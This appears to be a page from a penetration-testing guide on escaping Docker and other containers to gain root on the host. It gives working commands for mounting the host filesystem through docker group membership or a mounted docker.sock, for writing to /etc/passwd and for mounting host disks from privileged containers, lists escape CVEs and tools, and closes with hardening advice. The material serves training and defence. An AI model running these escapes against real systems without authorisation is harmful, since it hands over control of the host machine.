Skip to content

Container and Docker Escapes

Containers (Docker, containerd, LXC) isolate processes, but that isolation is weaker than a VM’s: they share the host’s kernel. For an attacker there are two key scenarios: being in a host’s docker group (= trivial root on the host) or being inside a container and wanting to escape to the host. Both are very common escalation vectors, especially on development and CI/CD servers.

Scenario 1: being in the docker group (= root)

Section titled “Scenario 1: being in the docker group (= root)”

If your user is in the docker group, you can launch containers with the host filesystem mounted → trivial root:

id # docker in the groups?
# mount the host root in a container and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# you're already root over the host filesystem; or:
docker run -v /:/mnt --rm -it alpine sh -c 'echo "..." >> /mnt/etc/passwd'

This isn’t an “escape”: the docker group equals root on the host by design. The same applies to lxd/lxc (mount the host disk in a privileged container).

Scenario 2: escaping from inside a container

Section titled “Scenario 2: escaping from inside a container”

First, are you in a container and how confined?

# am I in a container?
cat /proc/1/cgroup ; ls -la /.dockerenv
# privileged? which capabilities/mounts do I have?
capsh --print ; cat /proc/self/status | grep Cap
mount ; cat /proc/mounts

A privileged container has almost all capabilities and access to the host’s devices → easy escape:

# mount the host disk (visible as /dev/sdaX) and read/write
fdisk -l ; mount /dev/sda1 /mnt ; chroot /mnt
# or abuse cgroups release_agent to execute on the host

If the Docker socket (/var/run/docker.sock) is mounted inside the container, you control the host daemon → equivalent to root on the host:

ls -la /var/run/docker.sock
# with socket access, launch a container that mounts the host /
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH inside the container open escape paths (e.g. abuse cgroups release_agent, or read the host filesystem).

runC (CVE-2019-5736) overwrite the host's runc binary -> escape
CVE-2022-0492 cgroups v1 release_agent -> escape
Dirty Pipe/COW if the kernel is vulnerable, escape via kernel (see lin-kernel)
deepce.sh # enumerate and automate container escapes
amicontained # which capabilities/seccomp/restrictions I have
linpeas (container mode)
  • Don’t add users to the docker group without understanding it equals root; use scoped sudo or rootless Docker.
  • No --privileged except in extreme need; don’t mount docker.sock inside containers.
  • Drop capabilities (--cap-drop ALL and add only the needed ones), seccomp/AppArmor by default, non-root user inside the container (USER).
  • Read-only rootfs, don’t mount sensitive host paths, user namespaces (remap root).
  • Patch the runtime (runc) and kernel; scan images; least privilege in CI/CD.
  • Am I in the docker/lxd group? → trivial root on the host
  • Am I in a container? (/.dockerenv, /proc/1/cgroup)
  • Privileged? capabilities and mounts (capsh/amicontained)
  • Is docker.sock mounted inside the container?
  • Host disk accessible (/dev/sdaX) → mount/chroot
  • Dangerous capabilities → release_agent/cgroups
  • Runtime CVEs (runc CVE-2019-5736, CVE-2022-0492)
  • Blue: cap-drop, seccomp, no privileged, no socket, rootless?